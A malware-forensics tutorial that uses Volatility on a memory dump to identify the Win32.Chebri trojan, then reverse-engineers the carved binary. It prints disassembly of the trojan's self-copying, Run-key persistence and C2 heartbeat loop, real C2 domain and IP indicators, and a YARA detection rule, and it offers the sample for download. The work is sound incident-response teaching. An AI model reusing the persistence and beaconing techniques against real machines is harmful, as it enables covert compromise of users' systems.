Quick Volatility overview and R.E. analysis of Win32.Chebri

Introduction

In this article we will start from the physical memory dump of a machine suspected of malware compromise, successively with volatility we will establish if the machine is infected and produce evidences from memory artifacts. In the next steps the malicious component will be carved from memory and analyzed with a classical Reverse Engineering approach.

It’s important to put in evidence the fact that actually we do not deal with a complex malware ( Win32.Chebri it’s pretty easy ),
the scope of this tutorial is to show how to manage/analyze a real case of “Machine where there is a compromise suspect”.

The following scheme shows how such incidents are handled:

Untitled drawing-1

Forensics via Volatility

Let’s imagine the following scenario: we are behind a large corporate network and someone tells us that there is a workstation supposedly infected, but is not clear what is the malware and what it does. First operation to do, as suggested by the above image is the Memory Acquisition, in other words we are going to dump entire memory of the suspected machine. In this case I’ve used a VirtualBox to simulate the infected scenario and acquisition is performed by using win32dd.

Now we have a copy of the memory dump and we can start our forensics analysis via volatility. Let’s suppose that we do not know anything about the subject of our analysis, first thing to do is to establish OS and environment details we are going to deal with.

This can be done via imageinfo plugin exposed by Volatility:

# python vol.py imageinfo -f aquart 
Volatile Systems Volatility Framework 2.3_beta
Determining profile based on KDBG search...

          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/+/volatility/+)
                      PAE type : PAE
                           DTB : 0x311000L
                          KDBG : 0x80544ce0L
          Number of Processors : 1
     Image Type (Service Pack) : 2
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2013-08-11 14:55:35 UTC+0000
     Image local date and time : 2013-08-11 16:55:35 +0200

We deal with a Windows XP SP2 x86, this information is more useful than someone might think, one example over all is given by the fact that during analysis we have to use connscan plugin which is targeted for Windows XP. Now that we know the environment we are working in, we can do our first observations on what is happening (and happened) by analyzing the process list. This can be done via pslist plugin as follows:

# python vol.py pslist -f aquart 
Volatile Systems Volatility Framework 2.3_beta
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                                                  
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------
0x825c79c8 System                    4      0     54      243 ------      0                                                              
0x82493bf8 smss.exe                368      4      3       21 ------      0 2013-07-28 16:16:52 UTC+0000                                 
0x823a6128 csrss.exe               584    368     10      342      0      0 2013-07-28 16:16:52 UTC+0000                                 
0x8236f458 winlogon.exe            608    368     18      501      0      0 2013-07-28 16:16:52 UTC+0000                                 
0x82384da0 services.exe            652    608     16      256      0      0 2013-07-28 16:16:52 UTC+0000                                 
0x823a42c0 lsass.exe               664    608     20      338      0      0 2013-07-28 16:16:52 UTC+0000                                 
0x82408da0 VBoxService.exe         816    652      8      107      0      0 2013-07-28 16:16:53 UTC+0000                                 
0x822768b0 svchost.exe             860    652     19      198      0      0 2013-07-28 16:16:53 UTC+0000                                 
0x8225e968 svchost.exe             948    652     10      233      0      0 2013-07-28 16:16:53 UTC+0000                                 
0x8225d3b8 svchost.exe            1040    652     56     1102      0      0 2013-07-28 16:16:53 UTC+0000                                 
0x8224cae8 svchost.exe            1096    652      6       89      0      0 2013-07-28 16:16:53 UTC+0000                                 
0x82242020 svchost.exe            1120    652     15      211      0      0 2013-07-28 16:16:53 UTC+0000                                 
0x823873c0 explorer.exe           1512   1496     12      307      0      0 2013-07-28 16:16:53 UTC+0000                                 
0x8222a378 spoolsv.exe            1544    652     10      107      0      0 2013-07-28 16:16:53 UTC+0000                                 
0x822457a8 VBoxTray.exe           1684   1512      7       64      0      0 2013-07-28 16:16:53 UTC+0000                                 
0x824303c0 wscntfy.exe             552   1040      1       27      0      0 2013-07-28 16:17:06 UTC+0000                                 
0x82191688 alg.exe                1028    652      6      104      0      0 2013-07-28 16:17:06 UTC+0000                                 
0x82275798 TOTALCMD.EXE           1132   1512      8      220      0      0 2013-07-28 16:18:05 UTC+0000                                 
0x8239da78 wuauclt.exe            1072   1040      4      135      0      0 2013-08-11 14:47:35 UTC+0000                                 
0x82229020 regsrv34.exe            420    412      3       34      0      0 2013-08-11 14:48:42 UTC+0000                                 
0x81f6d020 win32dd.exe            1980   1132      1       21      0      0 2013-08-11 14:55:33 UTC+0000

Careful analysis of the process list could give us important hints on what is running at the moment of the memory dump and most important thing we can detect suspicious elements. In our case at a first look we have a bunch of running processes, from the name column you can see there is not any strange name (usually names like sndfkusd.exe, sw23ncwj.exe, etc. should raise the suspect bar). After that names have not given any clues we need to move on the coherence analysis between PIDs (process ID) and PPIDs (Parent Process ID). Let’s take a look for example at smss.exe the PID is 368 and the PPID is 4, if you now take a look to the previous row System.exe has 4 as PID, this means that smss.exe is a Child of System.exe. As in a cascade you can see that for example csrss.exe have as PPID 368 which is the PID of smss.exe.

The following image could help the most inexperienced to better understand what i mean:

Screen Shot 2013-08-12 at 6.23.47 PM

Now take a look to the red rectangle evidenced entry: regsrv34.exe – as you can see we have PID = 420 and PPID = 412, but if you look for a process with PID 412 no entry will be found. This behavior is not a proof that regsrv34.exe is malicious, but give us a suspected element, in other words during analysis we will make particular attention if such process emerges.

After inspecting the process list, with a positive balance (we gained one suspect) let’s see the network activity of the system. We can use the connscan plugin for that purpose:

# python vol.py connscan -f aquart 
Volatile Systems Volatility Framework 2.3_beta
Offset(P)  Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ---
0x023985a8 10.0.2.15:1087            92.61.156.221:80          1664
0x023c91f8 10.0.2.15:1088            92.61.156.221:80          1664
0x023e5650 10.0.2.15:1089            92.61.156.221:80          1664
0x02580398 10.0.2.15:1123            205.209.161.10:20001      420
0x025a1490 127.0.0.1:1070            127.0.0.1:1069            1664
0x02633ce0 1.0.0.0:1067              46.0.0.0:1068             0
0x026392f8 0.0.0.0:1068              1.0.0.0:1067              0

Take a look at the Pid column, seems that the suspected process (regsrv34.exe) with PID 420 produces some network traffic directed to 205.209.161.10 on port 20001. In a few moments, with a fast search, we discover that IP belongs to an executable reported by malwr.com:

https://malwr.com/analysis/YWYzMjI0MDZlZTEzNGIzYzkxOGU4YTk4NDk4MDU4Zjk/

Additional research via google ( site:virustotal.com 205.209.161.10 ) leads to the following result:
https://www.virustotal.com/en/file/c60b3f077bc7a1726e7e03f0e71b9473c2a2709d8bbf4d1249855e3350df525a/analysis/

The sample like in our case reaches the same IP:Port.

Is this enough to establish that regsrv34.exe is a malware? yes malwr, and 42/45 detection rate of VT are very strong proofs, but we will go further with analysis in order to produce more evidences.

Now that our suspicions are definitely focused on PID = 420, let’s check the handles opened by regsrv34 using handles plugin:

# python vol.py handles -f aquart -p 420
Volatile Systems Volatility Framework 2.3_beta
Offset(V)     Pid     Handle     Access Type             Details
---------- ------ ---------- ---------- ---------------- -------
0xe10096d0    420        0x4    0xf0003 KeyedEvent       CritSecOutOfMemoryEvent
0xe1458d50    420        0x8        0x3 Directory        KnownDlls
0x824ab028    420        0xc   0x100020 File             \Device\HarddiskVolume1\malware
0xe14acfb8    420       0x10  0x20f003f Key              MACHINE
0xe1549898    420       0x14    0xf000f Directory        Windows
0xe1a4b2d0    420       0x18  0x21f0001 Port             
0xe14841b0    420       0x1c    0xf001f Section          
0x822303d0    420       0x20  0x21f0003 Event            
0x824250e0    420       0x24    0xf037f WindowStation    WinSta0
0x824a2088    420       0x28    0xf01ff Desktop          Default
0x824250e0    420       0x2c    0xf037f WindowStation    WinSta0
0xe14b9ba8    420       0x30    0x2000f Directory        BaseNamedObjects
0x82408988    420       0x34   0x1f0003 Semaphore        shell.{A48F1A32-A340-11D1-BC6B-00A0C90312E1}
0xe176deb8    420       0x38  0x20f003f Key              USER\S-1-5-21-1645522239-492894223-1343024091-1003
0x821d4c40    420       0x3c   0x100020 File             \Device\HarddiskVolume1\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
0x8246c7f0    420       0x40   0x1f0001 Mutant           DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED
0x82241020    420       0x44   0x1f03ff Thread           TID 668 PID 420
0x82431578    420       0x48   0x1f0003 Event            
0xe1b642a8    420       0x4c    0xf003f Key              MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9
0x82387340    420       0x50   0x1f0003 Event            
0xe1b313f8    420       0x54    0xf003f Key              MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5
0x821d1338    420       0x58   0x1f03ff Thread           TID 316 PID 420
0x821d1338    420       0x5c   0x1f03ff Thread           TID 316 PID 420
0x821d1dd0    420       0x60   0x1f0003 Event            
0x82373900    420       0x64   0x1f0003 Event            
0x821f9408    420       0x68   0x1f0003 Event            
0x823878e8    420       0x6c   0x1f0003 Event            
0x821cfc70    420       0x70   0x1f0003 Event            
0x821d1338    420       0x74   0x1f03ff Thread           TID 316 PID 420
0x823d49e0    420       0x78   0x100001 File             \Device\KsecDD
0x8235f990    420       0x7c   0x1f0003 Event            
0x823e51b0    420       0x88  0x21f0003 IoCompletion     
0x824123b0    420       0x8c   0x1f0003 Event            
0x82439280    420       0x90  0x21f01ff File             \Device\Afd\AsyncConnectHlp

The most interesting entry is given by the Mutex owned by the process:

0x8246c7f0    420       0x40   0x1f0001 Mutant           DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED

This is clearly another very strong evidence left by the malware. The same evidence could be obtained by using mutantscan plugin, in this case we will have also the corresponding thread:

# python vol.py mutantscan -f aquart 
Volatile Systems Volatility Framework 2.3_beta
Offset(P)  #Ptr #Hnd Signal Thread           CID Name
---------- ---- ---- ------ ---------- --------- ----
..
0x0266c7f0    2    1      0 0x82241020   420:668 DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED

The thread is 0x82241020, now we can see also specific information linked to this thread by using threads plugin:

# python vol.py threads -f aquart --pid=420
Volatile Systems Volatility Framework 2.3_beta
[x86] Gathering all referenced SSDTs from KTHREADs...
Finding appropriate address space for tables...
------
ETHREAD: 0x82241020 Pid: 420 Tid: 668
Tags: 
Created: 2013-08-11 14:48:42 UTC+0000
Exited: 1970-01-01 00:00:00 UTC+0000
Owning Process: regsrv34.exe
Attached Process: regsrv34.exe
State: Waiting:DelayExecution
BasePriority: 0x8
Priority: 0x8
TEB: 0x7ffde000
StartAddress: 0x7c810867 kernel32.dll
ServiceTable: 0x80552140
  [0] 0x80501030
  [1] 0xbf997600
  [2] 0x00000000
  [3] 0x00000000
Win32Thread: 0xe1a57118
CrossThreadFlags:

In this case since we do not deal with complex malware, the thread view does not add much information, but still we can see the creation time(2013-08-11 14:48:42) , this could help in the case of a timeline analysis. Timeline analysis help us to chronologically reconstruct events that are linked to the infection process. In this case comes of great help the timeliner plugin which can be called as follows:

-R Adds registry keys/dates to timeline
-v Verbose information

$ python vol.py timeliner -R -v -f aquart --output-file=/home/+/volatility/timeliner.txt
Volatile Systems Volatility Framework 2.3_beta

The subject of our research is “regsrv34.exe”, so we can, in first instance, grep for this name, in other cases we can use also datetime information carved from previous artifact (for example we can look for 14:48:42). Here the result:

$ grep regsrv timeliner.txt 
2013-08-11 14:48:42 UTC+0000|[PROCESS]|regsrv34.exe|420|412||0x02429020||
2013-08-11 14:48:42 UTC+0000|[THREAD]|regsrv34.exe|420|828||||
2013-08-11 14:48:42 UTC+0000|[THREAD]|regsrv34.exe|420|316||||
2013-08-11 14:48:42 UTC+0000|[THREAD]|regsrv34.exe|420|316||||
2013-08-11 14:48:42 UTC+0000|[THREAD]|regsrv34.exe|420|668||||
2012-05-22 20:52:34 UTC+0000|[PE Timestamp (exe)]|regsrv34.exe|420|412|"C:\Documents and Settings\+\Application Data\regsrv34.exe"|0x02429020|||
2012-05-22 20:52:34 UTC+0000|[PE Timestamp (dll)]|regsrv34.exe|420|412|regsrv34.exe|EPROCESS Offset: 0x02429020|DLL Base: 0x  400000||
2004-08-04 07:56:36 UTC+0000|[PE Timestamp (dll)]|regsrv34.exe|420|412|ntdll.dll|EPROCESS Offset: 0x02429020|DLL Base: 0x7c900000||
2004-08-04 07:55:56 UTC+0000|[PE Timestamp (dll)]|regsrv34.exe|420|412|comctl32.dll|EPROCESS Offset: 0x02429020|DLL Base: 0x773d0000||
2004-08-04 07:56:40 UTC+0000|[PE Timestamp (dll)]|regsrv34.exe|420|412|USER32.dll|EPROCESS Offset: 0x02429020|DLL Base: 0x77d40000||
2004-08-04 07:57:39 UTC+0000|[PE Timestamp (dll)]|regsrv34.exe|420|412|WS2HELP.dll|EPROCESS Offset: 0x02429020|DLL Base: 0x71aa0000||

As you can see we have information about thread start and successively PE Timestamp (exe) hints, this entry help us to locate where the binary is placed:

C:\Documents and Settings\+\Application Data\regsrv34.exe

This can be considered another evidence (FileSystem evidence).

Due to the fact that this binary is placed into Application Data we can suppose that it’s required a survival on reboot mechanism in order to re-execute that malicious file when the machine is restarted. First most common system to grant survival on reboot is to place a registry key entry into CurrentVersion\Run, let’s inspect this entry via printkey plugin:

# python vol.py printkey -f aquart -K "Software\Microsoft\Windows\CurrentVersion\Run"
Volatile Systems Volatility Framework 2.3_beta
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT
Key name: Run (S)
Last updated: 2013-07-28 14:09:27 UTC+0000
Subkeys:
Values:
----------------------------
Registry: \Device\HarddiskVolume1\Documents and Settings\+\NTUSER.DAT
Key name: Run (S)
Last updated: 2013-08-11 14:48:42 UTC+0000
Subkeys:
Values:
REG_SZ        Microsoft DLL Registrations : (S) C:\Documents and Settings\+\Application Data\regsrv34.exe
----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\default
Key name: Run (S)
Last updated: 2013-07-28 16:00:43 UTC+0000
Subkeys:
Values:
----------------------------
Registry: \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT
Key name: Run (S)
Last updated: 2013-07-28 14:09:39 UTC+0000
Subkeys:
Values:

As you can see we have an entry into “\Device\HarddiskVolume1\Documents and Settings\+\NTUSER.DAT” which as been added “Last updated: 2013-08-11 14:48:42” (which matches with the infection time event) and explicitly referred ( REG_SZ ) to the path previously seen. Here we have another evidence ( Registry evidence ).

At this point we have:

  • Established that the system is infected
  • Produced a reasonable amount of evidences

Further analysis now requires a direct Reverse Engineering analysis over the sample, this one could be carved from the memory dump by using procexedump plugin.

# python vol.py procexedump -f aquart -p 420 --dump-dir=/home/+/volatility/
Volatile Systems Volatility Framework 2.3_beta
Process(V) ImageBase  Name                 Result
---------- ---------- -------------------- ------
0x82229020 0x00400000 regsrv34.exe         OK: executable.420.exe

Before jumping into Reverse Engineering paragraph, let’s imagine the following scenario. We are always in our corporate network and there is the suspect that a large number of machines has been compromised, we need now a fast system to verify the infected workstation. For that scope we can build a YARA rule as follows:

rule win32_chebri : generic
{
    meta:
        description = "Win32.Chebri.C"
        author = "evilcry"
    strings:
        $a = "DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED"

    condition:
        $a
}

Finally let’s run this rule against our memory dump by using yarascan plugin:

$ python vol.py yarascan -y win32chebri.yar -f aquart
Volatile Systems Volatility Framework 2.3_beta
Rule: win32_chebri
Owner: Process regsrv34.exe Pid 420
0x004040ec  44 41 4e 43 48 4f 44 41 4e 43 48 45 56 5f 45 4e   DANCHODANCHEV_EN
0x004040fc  44 5f 42 52 49 41 4e 4b 52 45 42 53 5f 47 4f 54   D_BRIANKREBS_GOT
0x0040410c  5f 46 41 52 52 49 45 44 00 00 00 00 72 00 65 00   _FARRIED....r.e.
0x0040411c  67 00 73 00 72 00 76 00 33 00 34 00 2e 00 65 00   g.s.r.v.3.4...e.

Note about the rule: Win32.Chabri.C is available in a number of variants, the mutex name could change (thanks to Mila from Contagiodump for the information), so take this rule as a didactic one, if you want a fully working rule you should sign some of the Unicode strings like “r.e.g.s.r.v.”.

Quick Reverse Engineering of Win32.Chebri

In this paragraph we are going to take advantage from the executable carved from the memory dump. The R.E. analysis that we will perform is not intended to go extremely in depth because we face a pretty simple malware and the scope of this paper is to show now how to gain more knowledge on how Win32.Chebri works.

Let’s start with some general inspection of the PE geometry:

Original Filename: 487309907.gif
MD5: 8FB5D22F0E9D0AB7D6C73C6A58F6DE99
SHA1: A0E4A4197C565433492FDE40AE3B53415F160B09
File Header Timedatestamp: Tue May 22 22:52:34 2012

The executable as not a Resource Directory and Import Table is coherent.

According to entropy plot produced by Profiler and shown below:

entropy_resized

Approximately low entropy plot denotes the absence of “heavy” packed / encrypted portions of code. We can start now to reverse the code starting from the EntryPoint:

.text:00402310                 push    ebp
.text:00402311                 mov     ebp, esp
.text:00402313                 sub     esp, 20Ch
.text:00402319                 push    offset Name     ; "DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIE"...
.text:0040231E                 push    1               ; bInitialOwner
.text:00402320                 push    0               ; lpMutexAttributes
.text:00402322                 call    ds:CreateMutexA
.text:00402328                 mov     [ebp+hObject], eax
.text:0040232E                 call    ds:GetLastError
.text:00402334                 cmp     eax, ERROR_ALREADY_EXISTS
.text:00402339                 jnz     short Infect
.text:0040233B                 push    1194h           ; dwMilliseconds
.text:00402340                 mov     eax, [ebp+hObject]
.text:00402346                 push    eax             ; hHandle
.text:00402347                 call    ds:WaitForSingleObject
.text:0040234D                 cmp     eax, WAIT_TIMEOUT
.text:00402352                 jnz     short Infect
.text:00402354                 xor     eax, eax
.text:00402356                 jmp     End

As first operation Chebri creates a mutex “DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED” to check if there are other instances of the malware running successively it’s called WaitForSingleObject, if the mutex exists or WaitForSingleObject exits with WAIT_TIMEOUT error execution flow reaches the end, else jumps to “Infection” location. Let’s now see what happens if things goes well (mutex is correctly created for example):

.text:0040235B Infect:                                 ; CODE XREF: start+29j
.text:0040235B                                         ; start+42j
.text:0040235B                 push    104h            ; nSize
.text:00402360                 lea     ecx, [ebp+Filename]
.text:00402366                 push    ecx             ; lpFilename
.text:00402367                 push    0               ; hModule
.text:00402369                 call    ds:GetModuleFileNameW
.text:0040236F                 push    offset String   ; "regsrv34.exe"
.text:00402374                 lea     edx, [ebp+Filename]
.text:0040237A                 push    edx             ; int
.text:0040237B                 call    sub_401D80
.text:00402380                 add     esp, 8
.text:00402383                 test    eax, eax
.text:00402385                 jnz     short make_resident_and_connect
.text:00402387                 call    sub_402010
.text:0040238C                 test    eax, eax
.text:0040238E                 jz      short make_resident_and_connect ; if does not match criteria, release mutex and exit,
.text:0040238E                                         ; else jump to the second stage
.text:00402390                 mov     eax, [ebp+hObject]
.text:00402396                 push    eax             ; hMutex
.text:00402397                 call    ds:ReleaseMutex
.text:0040239D                 mov     ecx, [ebp+hObject]
.text:004023A3                 push    ecx             ; hObject
.text:004023A4                 call    ds:CloseHandle
.text:004023AA                 push    1               ; uExitCode
.text:004023AC                 call    ds:ExitProcess

GetModuleFileNameW with hModule parameter NULL is used to retrieve the path of the executable file of the current running process, this path is placed into lpFilename that as you can see it’s successively used as parameter of call sub_401D80 together with the String parameter which is “regsrv34.exe”. call sub_401D80 will check if the current executable is called “regsrv34.exe”, in this case execution will jump to “make_resident_and_connect” location otherwise execution will reach call sub_402010. Let’s see what happens in this call:

.text:00402037                 push    0               ; fCreate
.text:00402039                 push    1Ah             ; csidl
.text:0040203B                 lea     eax, [ebp+NewFileName]
.text:00402041                 push    eax             ; pszPath
.text:00402042                 push    0               ; hwnd
.text:00402044                 call    ds:SHGetSpecialFolderPathW
.text:0040204A                 test    eax, eax
.text:0040204C                 jz      loc_402120
.text:00402052                 push    offset String2  ; "\\regsrv34.exe"
.text:00402057                 lea     ecx, [ebp+NewFileName]
.text:0040205D                 push    ecx             ; lpString1
.text:0040205E                 call    ds:lstrcatW
.text:00402064                 push    104h            ; nSize
.text:00402069                 lea     edx, [ebp+ExistingFileName]
.text:0040206F                 push    edx             ; lpFilename
.text:00402070                 push    0               ; hModule
.text:00402072                 call    ds:GetModuleFileNameW
...
.text:00402097
.text:00402097 loc_402097:                             ; CODE XREF: sub_402010+CFj
.text:00402097                 push    0               ; bFailIfExists
.text:00402099                 lea     edx, [ebp+NewFileName]
.text:0040209F                 push    edx             ; lpNewFileName
.text:004020A0                 lea     eax, [ebp+ExistingFileName]
.text:004020A6                 push    eax             ; lpExistingFileName
.text:004020A7                 call    ds:CopyFileW
..
.text:00402109                 push    0               ; lpParameters
.text:0040210B                 lea     eax, [ebp+NewFileName]
.text:00402111                 push    eax             ; lpFile
.text:00402112                 call    create_child_process
.text:00402117                 add     esp, 8
.text:0040211A                 mov     [ebp+var_20C], eax
.text:00402120
.text:00402120 loc_402120:                             ; CODE XREF: sub_402010+3Cj
.text:00402120                 mov     eax, [ebp+var_20C]
.text:00402126
.text:00402126 loc_402126:                             ; CODE XREF: sub_402010+F7j
.text:00402126                 mov     esp, ebp
.text:00402128                 pop     ebp
.text:00402129                 retn
.text:00402129 sub_402010      endp

Code here should be pretty clear, via SHGetSpecialFolderPathW Win32.Chebri retrieves the path to Documents and Settings\user\Application data and successively concatenates the executable name “regsrv34.exe”. Next step involves in getting again the path of the current running executable as parameter for CopyFileW, in this way binary malware will be copied into “regsrv34.exe”. As final step we have call create_child_process, the freshly copied executable will be launched via CreateProcessW.

Going back to “infection” routine, at this point if something went wrong with call sub_402010 execution the mutex will be released and process closed, else the execution flow will reach make_resident_and_connect location.

.text:004023B2 make_resident_and_connect:           
.text:004023B2                                         
.text:004023B2                 call    make_resident   ; add an entry into CurrentVersion\Run to 
survive on reboot
.text:004023B7                 push    4E21h           ; __int16
.text:004023BC                 push    offset aAquartmale_org ; "aquartmale.org"
.text:004023C1                 call    start_network_thread

call make_resident will create a registry entry into “Software\Microsoft\Windows\CurrentVersion\Run” as we previously seen in the volatility paragraph. The final call start_network_thread constitutes the core malware functionality. Inside this call a new thread located at address is spawned. The parameter passed to call start_network_thread corresponds to the domain used by the malware to keep in touch ( 205.209.161.10 as observed via volatility connscan plugin ). Follows the corresponding code of the new thread started:

.text:00401DD4 thread_start:
.text:00401DD4                 mov     eax, dword_404144
.text:00401DD9                 cmp     dword ptr [eax+1050h], 0
.text:00401DE0                 jz      short loc_401E08 ;jump to the end of thread
.text:00401DE2                 call    ds:GetTickCount
.text:00401DE8                 mov     [ebp+var_4], eax
.text:00401DEB                 mov     ecx, [ebp+var_4]
.text:00401DEE                 push    ecx
.text:00401DEF                 mov     edx, dword_404144
.text:00401DF5                 push    edx
.text:00401DF6                 call    reach_server ;contact the malicious domain
.text:00401DFB                 add     esp, 8
.text:00401DFE                 push    5               ; dwMilliseconds
.text:00401E00                 call    ds:Sleep
.text:00401E06                 jmp     short thread_start ;run again

call reach_server is the responsible of communications with the server, as you can see here we have a loop as could be easly seen by the jump thread_start, the only exit solution is given by the condition determined by the value of dword_40144. This address is one of the two parameters of call reach_server, in other words according to what is received from the malicious server flow execution will run again thread_start or divert.

In short, Win32.Chebri establishes a TCP connection toward a certain IP and sends an heartbeat to the server within a certain temporal frequency. This kind of malware waits for commands sent by the attacker, like for example download and execute arbitrary files (other malware), upload data stolen from the infected machine etc.

Sample is available, password as usual is: infected

Some reference:
Trojan:Win32/Chebri.B

Trojan:Win32/Chebri.C

Evilcry

Comments

  1. “this means that smss.exe is a Parent of System.exe” – it’s the other way round

  2. Fixed two little errors. Thanks to R136a1.

  3. Nice writeup!

    You could save some time in the PID/Parent PID part though by using the pstree plugin which displays the relationships automatically:

    http://code.google.com/p/volatility/wiki/CommandReference#pstree